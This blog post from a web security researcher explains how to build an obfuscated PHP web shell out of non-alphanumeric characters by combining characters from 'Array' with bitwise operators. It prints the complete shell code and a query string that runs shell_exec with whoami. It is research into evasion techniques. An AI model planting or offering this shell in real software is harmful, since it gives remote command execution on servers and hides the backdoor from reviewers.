The Spanner logo
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    The Spanner logo

    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

    Hackvertor logo
    Shazzer logo
    My Github account
    Recent posts
    Introducing Feedworm: A Privacy-First RSS Reader That Lives in DevToolsSpeedy RSVP extensionAutoVaderHackvertor history and tag finderShadow Repeater v1.2.3 releaseBurp Hackvertor v2.1.24 releaseHacking roomsXSSing TypeErrors in SafarivalueOf: Another way to get thisMaking the Unexploitable Exploitable with X-Mixed-Replace on FirefoxThe curious case of the evt parameterCSS-Only Tic Tac Toe ChallengeRewriting relative urls with the base tag in SafariBypassing DOMPurify with mXSSNew IE mutation vectorHow I smashed MentalJSMentalJS DOM bypassAnother XSS auditor bypassXSS Auditor bypassBypassing the IE XSS filterUnbreakable filterMentalJS bypassesmXSSJava SerializationBypassing the XSS filter using function reassignmentRPOSandboxed jQueryX-Domain scroll detection on IE using focusEpic fail IEnew operatorDecoding complex non-alphanumeric JavaScriptHacking FirefoxDOM ClobberingBypassing XSS AuditorThe evolution of codeNon-Alpha PHP in 6-7 charsetTweetable PHP-Non AlphaMentalJS for PHPOpera x domain with video tutorialSandboxing and parsing jQuery in 100ms

    Non alphanumeric code in PHP

    By Gareth Heyes (@hackvertor)

    Published 14 years 8 months ago • Last updated March 22, 2025 • ⏱️ 2 min read

    ← Back to articles

    So a small php shell was tweeted around and it inspired me to investigate a way to execute non-alphanumeric code. First off I started with the idea of using octal escapes in PHP and constructing the escape so for example: \107 is "G" if I could construct the "107" and add the backslash to the beginning maybe I could construct "G". It worked like this:

    
    $_=+"";
    $_=(++$_)+(++$_)+(++$_)+(++$_);
    $__=+"";
    $__++;
    $___=$_*$_+$__+$__+$__+$__+$__+$__+$__;//107
    $___="\\$___";
    
    

    But there was no way to evaluate the escape once it was constructed without using alphanum chars. So I was stumped. Then I had a brain wave, php automatically does a string conversion for arrays and converts them to "Array" when accessed as a string. I had "A", "r", "r" etc but I really needed "GET" in order to create a nice small non-alpha shell.

    Onto the second technique, PHP allows you to use bitwise operators on strings :D

    'a'|'b';//c!

    We can make new characters by combining others, but I only had a limited set to work with. A simple for loop later I combined the characters to create "GET" and thus make our non-alphanum small PHP shell :D

    
    <?
    $_="";
    $_[+""]='';
    $_="$_"."";
    $_=($_[+""]|"0x06").($_[+""]|"0x05").($_[+""]^"0x15");
    ?>
    <?=${'_'.$_}['_'](${'_'.$_}['__']);?>
    
    

    The first part converts a string into an array by attempting to assign to "0" position of the string. Then I make sure the array is a string. Then I use "A" from array with bitwise operators to construct "G", "E" and "T" using the characters "A"|0x6, "A"|0x5 and "A^0x15". There you have it,you could even generate non-alpha code without using GET quite easily by producing different characters until you get an eval method.

    To call the shell you'd use: ?_=shell_exec&__=whoami

    Don't forget in order to analyze php code use RIPS if you ever encounter this in the wild.

    ← Back to articles